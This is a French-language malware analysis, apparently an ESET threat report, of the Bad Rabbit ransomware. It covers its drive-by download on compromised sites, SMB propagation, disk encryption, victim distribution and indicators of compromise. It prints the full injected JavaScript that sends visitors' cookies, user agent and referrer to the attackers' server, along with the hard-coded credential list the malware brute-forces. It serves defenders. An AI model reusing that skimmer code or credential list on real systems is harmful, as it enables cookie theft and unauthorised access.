Un nouveau rançongiciel, Bad Rabbit a été répandu aujourd’hui, affectant notamment certaines infrastructures ukrainiennes d’envergure, y compris le métro de Kiev.
Attaque de type « drive-by download » sur des sites populaires
Le drive-by download constitue l’une des méthodes de distribution de Bad Rabbit. Certains sites Web populaires ont été compris et du JavaScript a été injecté dans le corps de leur document HTML on dans l’un de leur fichier .js.Voici une version propre du code injecté :
function e(d) {
var xhr = null;
if (!!window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
for (var i = 0; i < xhrs.length; i++) {
try {
xhr = ActiveXObject(xhrs[i]);
break;
} catch (e) {}
}
}
if (!!xhr) {
xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
xhr.timeout = 10000;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var resp = xhr.responseText;
if (resp) {
var fans = JSON.parse(resp);
if (fans) {
var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
var da = document.createElement('div');
da.id = 'ans';
da.innerHTML = an_s;
document.body.appendChild(da);
}
}
}
};
var pd = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
pd.push(k + '=' + d[k]);
}
}
var dc = pd.join('&');
xhr.send(dc);
}
}
e({
'agent': navigator.userAgent,
'referer': document.referrer,
'cookie': document.cookie,
'domain': window.location.hostname,
'c_state': !!document.cookie
});
Ce script transmet les informations suivantes à 185.149.120[.]3, qui ne semble plus répondre pour l’instant.
- Navigateur (Utilisateur-Agent);
- référent;
- Cookies du site visité;
- Nom de domaine du site visité.
La logique côté serveur peut déterminer si un visiteur est d’intérêt et, le cas échéant, ajouter du contenu à la page. Dans ce cas, nous avons observé un pop-up s’affichant au milieu de la page, nous demandant d’installer une mise à jour de Flash Player.
Quand on clique sur le bouton « Install », le téléchargement d’un fichier exécutable provenant de 1dnscontrol[.]com s’amorce. Ce fichier exécutable, install_flash_player.exe est l’injecteur (ou dropper) pour Win32/Diskcoder.D.
Au final, l’ordinateur est verrouillé et affiche le message de rançon suivant :
Voici une capture de la page de paiement :
Propagation par SMB
Win32/Diskcoder.D peut se propager via SMB. Contrairement à ce que certains affirment, il n’utilise pas la vulnérabilité EthernalBlue, comme c’était le cas de l’épidémie Win32/Diskcoder.C (Not-Petya). Il balaie tout d’abord les réseaux locaux pour trouver des partages SMB ouverts. Il recherche les partages suivants :
- admin
- atsvc
- browser
- eventlog
- lsarpc
- netlogon
- ntsvcs
- spoolss
- samr
- srvsvc
- scerpc
- svcctl
- wkssvc
Mimikatz est lancé sur l’ordinateur compromis afin de récolter des informations d'identification. Une liste de noms d’utilisateur et de mots de passe codé en dur est aussi présente.
Noms d’utilisateur | Mots de passe |
---|---|
Administrator | Administrator |
Admin | administrator |
Guest | Guest |
User | guest |
User1 | User |
user-1 | user |
Test | Admin |
root | adminTest |
buh | test |
boss | root |
ftp | 123 |
rdp | 1234 |
rdpuser | 12345 |
rdpadmin | 123456 |
manager | 1234567 |
support | 12345678 |
work | 123456789 |
other user | 1234567890 |
operator | Administrator123 |
backup | administrator123 |
asus | Guest123 |
ftpuser | guest123 |
ftpadmin | User123 |
nas | user123 |
nasuser | Admin123 |
nasadmin | admin123Test123 |
superuser | test123 |
netguest | password |
alex | 111111 |
55555 | |
77777 | |
777 | |
qwe | |
qwe123 | |
qwe321 | |
qwer | |
qwert | |
qwerty | |
qwerty123 | |
zxc | |
zxc123 | |
zxc321 | |
zxcv | |
uiop | |
123321 | |
321 | |
love | |
secret | |
sex | |
god |
Quand des identifiants qui fonctionnent sont trouvés, le fichier infpub.dat est téléversé dans le répertoire Windows et est exécuté par SCManager et rundll.exe.
Chiffrement
Win32/Diskcoder.D est une version modifiée de Win32/Diskcoder.C. Des bogues dans l’algorithme de chiffrement ont été réparés. DiskCryptor, un logiciel libre légitime utilisé pour le chiffrement de disque complet, est maintenant utilisé pour le chiffrement du disque de la victime. Les clés sont générées en utilisant CryptGenRandom, avant d’être protégées par une clé publique RSA-2048 codée en dur. Comme auparavant, AES-128-CBC est utilisé.
Distribution
Fait intéressant; la télémétrie d’ESET montre que l’Ukraine ne compte que pour 12.2% des cas où nous avons observés Win32/Diskcoder.D. Voici les statistiques en question :
- Russie : 65%
- Ukraine : 12.2%
- Bulgarie : 10.2%
- Turquie : 6.4%
- Japon : 3.8%
- Autre: 2.4%.
Ces données concordent assez bien à celles des sites compromis qui incluent le JavaScript malveillant. Alors, pourquoi l’Ukraine semble plus touchée que les autres pays?
Il est intéressant de noter que toutes ces grandes organisations ont été touchées au même moment. Il est donc possible que le groupe ait pu accéder à leur réseau précédemment et ait choisi de lancer l’attaque drive-by download au même moment en tant que leurre. Rien n’indique qu’elles se soient fait prendre par la fausse « Mise à jour de Flash Player ». ESET continue d’enquêter et nous allons publier nos découvertes au fur et à mesure.
Échantillons
SHA-1 | Nom de fichier | Nom de détection d’ESET | Description |
---|---|---|---|
79116fe99f2b421c52ef64097f0f39b815b20907 | infpub.dat | Win32/Diskcoder.D | Diskcoder |
afeee8b4acff87bc469a6f0364a81ae5d60a2add | dispci.exe | Win32/Diskcoder.D | Lockscreen |
413eba3973a15c1a6429d9f170f3e8287f98c21c | Win32/RiskWare.Mimikatz.X | Mimikatz (32-bits) | |
16605a4a29a101208457c47ebfde788487be788d | Win64/Riskware.Mimikatz.X | Mimikatz (64-bits) | |
de5c8d858e6e41da715dca1c019df0bfb92d32c0 | install_flash_player.exe | Win32/Diskcoder.D | Injecteur |
4f61e154230a64902ae035434690bf2b96b4e018 | page-main.js | JS/Agent.NWC | JavaScript sur les sites compromis |
Serveur C&C
Site de paiement : http://caforssztxqzf2nm[.]onion
URL d’injection : http://185.149.120[.]3/scholargoogle/
URL de distribution : hxxp://1dnscontrol[.]com/flash_install.php
Liste de sites compromis en date du 2017-10-24:
- hxxp://argumentiru[.]com
- hxxp://www.fontanka[.]ru
- hxxp://grupovo[.]bg
- hxxp://www.sinematurk[.]com
- hxxp://www.aica.co[.]jp
- hxxp://spbvoditel[.]ru
- hxxp://argumenti[.]ru
- hxxp://www.mediaport[.]ua
- hxxp://blog.fontanka[.]ru
- hxxp://an-crimea[.]ru
- hxxp://www.t.ks[.]ua
- hxxp://most-dnepr[.]info
- hxxp://osvitaportal.com[.]ua
- hxxp://www.otbrana[.]com
- hxxp://calendar.fontanka[.]ru
- hxxp://www.grupovo[.]bg
- hxxp://www.pensionhotel[.]cz
- hxxp://www.online812[.]ru
- hxxp://www.imer[.]ro
- hxxp://novayagazeta.spb[.]ru
- hxxp://i24.com[.]ua
- hxxp://bg.pensionhotel[.]com
- hxxp://ankerch-crimea[.]ru